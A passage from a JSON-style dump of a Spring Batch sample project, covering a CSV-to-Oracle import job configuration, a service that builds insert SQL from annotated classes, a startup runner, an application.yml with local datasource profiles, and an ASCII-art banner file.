/**\n     * ItemReader定义,用来读取数据\n     * 1，使用FlatFileItemReader读取文件\n     * 2，使用FlatFileItemReader的setResource方法设置csv文件的路径\n     * 3，对此对cvs文件的数据和领域模型类做对应映射\n     *\n     * @return FlatFileItemReader\n     */\n    @Bean(name = \"logReader\")\n    @StepScope\n    public FlatFileItemReader<Log> reader(@Value(\"#{jobParameters['input.file.name']}\") String pathToFile) {\n        FlatFileItemReader<Log> reader = new FlatFileItemReader<>();\n//        reader.setResource(new ClassPathResource(pathToFile));\n        reader.setResource(new FileSystemResource(pathToFile));\n        reader.setLineMapper(new DefaultLineMapper<Log>() {\n            {\n                setLineTokenizer(new DelimitedLineTokenizer(\"|\") {\n                    {\n                        setNames(new String[]{\n                                \"logid\", \"msg\", \"logtime\"\n                        });\n                    }\n                });\n                setFieldSetMapper(new BeanWrapperFieldSetMapper<Log>() {{\n                    setTargetType(Log.class);\n                }});\n            }\n        });\n        // 如果包含header，需要忽略掉\n        reader.setLinesToSkip(1);\n        return reader;\n    }\n\n    /**\n     * ItemProcessor定义，用来处理数据\n     *\n     * @return\n     */\n    @Bean(name = \"logProcessor\")\n    public ItemProcessor<Log, Log> processor() {\n        //使用我们自定义的ItemProcessor的实现CsvItemProcessor\n        ValidatingItemProcessor<Log> processor = new ValidatingItemProcessor<Log>() {\n            @Override\n            public Log process(Log item) throws ValidationException {\n                /*\n                 * 需要执行super.process(item)才会调用自定义校验器\n                 */\n                super.process(item);\n                /*\n                 * 对数据进行简单的处理和转换 todo\n                 */\n                return item;\n            }\n        };\n        //为processor指定校验器为CsvBeanValidator()\n        processor.setValidator(csvBeanValidator());\n        return processor;\n    }\n\n    /**\n     * ItemWriter定义，用来输出数据\n     * spring能让容器中已有的Bean以参数的形式注入，Spring Boot已经为我们定义了dataSource\n     *\n     * @param dataSource\n     * @return\n     */\n    @Bean(name = \"logWriter\")\n    public ItemWriter<Log> writer(DruidDataSource dataSource) {\n        JdbcBatchItemWriter<Log> writer = new JdbcBatchItemWriter<>();\n        //我们使用JDBC批处理的JdbcBatchItemWriter来写数据到数据库\n        writer.setItemSqlParameterSourceProvider(new BeanPropertyItemSqlParameterSourceProvider<>());\n        String sql = \"insert into z_test_Log (logid, msg, logtime) values(:logid, :msg, :logtime)\";\n        //在此设置要执行批处理的SQL语句\n        writer.setSql(sql);\n        writer.setDataSource(dataSource);\n        return writer;\n    }\n\n    /**\n     * Job定义，我们要实际执行的任务，包含一个或多个Step\n     *\n     * @param jobBuilderFactory\n     * @param s1\n     * @return\n     */\n    @Bean(name = \"zlogJob\")\n    public Job zlogJob(JobBuilderFactory jobBuilderFactory, @Qualifier(\"logStep1\") Step s1) {\n        return jobBuilderFactory.get(\"zlogJob\")\n                .incrementer(new RunIdIncrementer())\n                .flow(s1)//为Job指定Step\n                .end()\n                .listener(new MyJobListener())//绑定监听器csvJobListener\n                .build();\n    }\n\n    /**\n     * step步骤，包含ItemReader，ItemProcessor和ItemWriter\n     *\n     * @param stepBuilderFactory\n     * @param reader\n     * @param writer\n     * @param processor\n     * @return\n     */\n    @Bean(name = \"logStep1\")\n    public Step logStep1(StepBuilderFactory stepBuilderFactory,\n                         @Qualifier(\"logReader\") ItemReader<Log> reader,\n                         @Qualifier(\"logWriter\") ItemWriter<Log> writer,\n                         @Qualifier(\"logProcessor\") ItemProcessor<Log, Log> processor) {\n        return stepBuilderFactory\n                .get(\"logStep1\")\n                .<Log, Log>chunk(5000)//批处理每次提交5000条数据\n                .reader(reader)//给step绑定reader\n                .processor(processor)//给step绑定processor\n                .writer(writer)//给step绑定writer\n                .faultTolerant()\n                .retry(Exception.class)   // 重试\n                .noRetry(ParseException.class)\n                .retryLimit(1)           //每条记录重试一次\n                .skip(Exception.class)\n                .skipLimit(200)         //一共允许跳过200次异常\n//                .taskExecutor(new SimpleAsyncTaskExecutor()) //设置每个Job通过并发方式执行，一般来讲一个Job就让它串行完成的好\n//                .throttleLimit(10)        //并发任务数为 10,默认为4\n                .build();\n    }\n\n    @Bean\n    public Validator<Log> csvBeanValidator() {\n        return new MyBeanValidator<>();\n    }\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/service/CsvService.java",
    "content": "package com.xncoding.trans.service;\n\nimport com.xncoding.trans.config.properties.CommonProperties;\nimport com.xncoding.trans.modules.common.anno.TableName;\nimport com.xncoding.trans.modules.common.vo.BscCanton;\nimport com.xncoding.trans.modules.common.vo.BscExeOffice;\nimport com.xncoding.trans.modules.common.vo.BscOfficeExeItem;\nimport com.xncoding.trans.modules.common.vo.BscTollItem;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.batch.core.Job;\nimport org.springframework.batch.core.JobParameters;\nimport org.springframework.batch.core.JobParametersBuilder;\nimport org.springframework.batch.core.launch.JobLauncher;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.Resource;\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.List;\n\n@Service\npublic class CsvService {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @Resource\n    private CommonProperties p;\n    @Resource\n    private JobLauncher jobLauncher;\n    @Resource\n    @Qualifier(\"commonJob\")\n    private Job commonJob;\n    private static final String KEY_JOB_NAME = \"input.job.name\";\n    private static final String KEY_FILE_NAME = \"input.file.name\";\n    private static final String KEY_VO_NAME = \"input.vo.name\";\n    private static final String KEY_COLUMNS = \"input.columns\";\n    private static final String KEY_SQL = \"input.sql\";\n\n    /**\n     * 导入数据库数据\n     * @throws Exception ex\n     */\n    public void importTables() throws Exception {\n        runTask(BscCanton.class);\n        runTask(BscOfficeExeItem.class);\n        runTask(BscExeOffice.class);\n        runTask(BscTollItem.class);\n    }\n\n    /**\n     * 根据类名反射运行相应的任务\n     *\n     * @param c 定义的Bean类\n     */\n    public void runTask(Class c) throws Exception {\n        TableName a = (TableName) c.getAnnotation(TableName.class);\n        String tableName = a.value();\n        Field[] fields = c.getDeclaredFields();\n        List<String> fieldNames = new ArrayList<>();\n        List<String> paramNames = new ArrayList<>();\n        for (Field f : fields) {\n            fieldNames.add(f.getName());\n            paramNames.add(\":\" + f.getName());\n        }\n        String columnsStr = String.join(\",\", fieldNames);\n        String paramsStr = String.join(\",\", paramNames);\n        String csvFileName;\n        if (p.getLocation() == 1) {\n            csvFileName = p.getCsvDir() + tableName + \".csv\";\n        } else {\n            csvFileName = tableName + \".csv\";\n        }\n        JobParameters jobParameters1 = new JobParametersBuilder()\n                .addLong(\"time\", System.currentTimeMillis())\n                .addString(KEY_JOB_NAME, tableName)\n                .addString(KEY_FILE_NAME, csvFileName)\n                .addString(KEY_VO_NAME, c.getCanonicalName())\n                .addString(KEY_COLUMNS, String.join(\",\", fieldNames))\n                .addString(KEY_SQL, \"insert into \" + tableName + \" (\" + columnsStr + \")\" + \" values(\" + paramsStr + \")\")\n                .toJobParameters();\n        jobLauncher.run(commonJob, jobParameters1);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/start/StartRunner.java",
    "content": "package com.xncoding.trans.start;\n\nimport com.xncoding.trans.service.CsvService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.Resource;\n\n/**\n * 内网服务启动器\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/27\n */\n@Component\npublic class StartRunner implements CommandLineRunner {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n    @Resource\n    private CsvService csvService;\n\n    @Override\n    public void run(String... args) throws Exception {\n        logger.info(\"导入数据主进程启动啦啦啦...\");\n        csvService.importTables();\n        logger.info(\"导入数据主进程完成啦啦啦...\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  自定义配置  ###################\ncommon:\n  csvVtoll: /var/csv/\n  csvCanton: /var/csv/\n  csvExeOffice: /var/csv/\n  csvApp: /var/csv/\n  csvLog: /var/csv/\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: test\n  batch:\n    job:\n      enabled: false\n    initializer:\n      enabled: false\n\n###################  mybatis-plus配置  ###################\nmybatis-plus:\n  mapper-locations: classpath*:com/xncoding/trans/dao/repository/mapping/*.xml\n  typeAliasesPackage: >\n    com.xncoding.trans.dao.entity\n  global-config:\n    id-type: 1  # 0:数据库ID自增  1:用户输入id  2:全局唯一id(IdWorker)  3:全局唯一ID(uuid)\n    db-column-underline: false\n    refresh-mapper: true\n  configuration:\n    jdbcTypeForNull: NULL\n    map-underscore-to-camel-case: true\n    cache-enabled: true #配置的缓存的全局开关\n    lazyLoadingEnabled: true #延时加载的开关\n    multipleResultSetsEnabled: true #开启的话，延时加载一个属性时会加载该对象全部属性，否则按需加载属性\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n  datasource:\n    driver-class-name: oracle.jdbc.driver.OracleDriver\n    url: jdbc:oracle:thin:@127.0.0.1:1521:orcl11g\n    username: adm_real\n    password: adm_real\n\ncommon:\n  location: 1\n  csvDir: E:/\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: /var/logs/batch.log\n\n---\n\n#####################################################################\n########################  测试环境profile  ##########################\n#####################################################################\nspring:\n  profiles: test\n  datasource:\n    driver-class-name: oracle.jdbc.driver.OracleDriver\n    url: jdbc:oracle:thin:@127.0.0.1:1521:orcl11g\n    username: adm_123\n    password: adm_123\n\ncommon:\n  csvDir: /var/csv/\n  location: 2\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: /var/logs/batch.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... 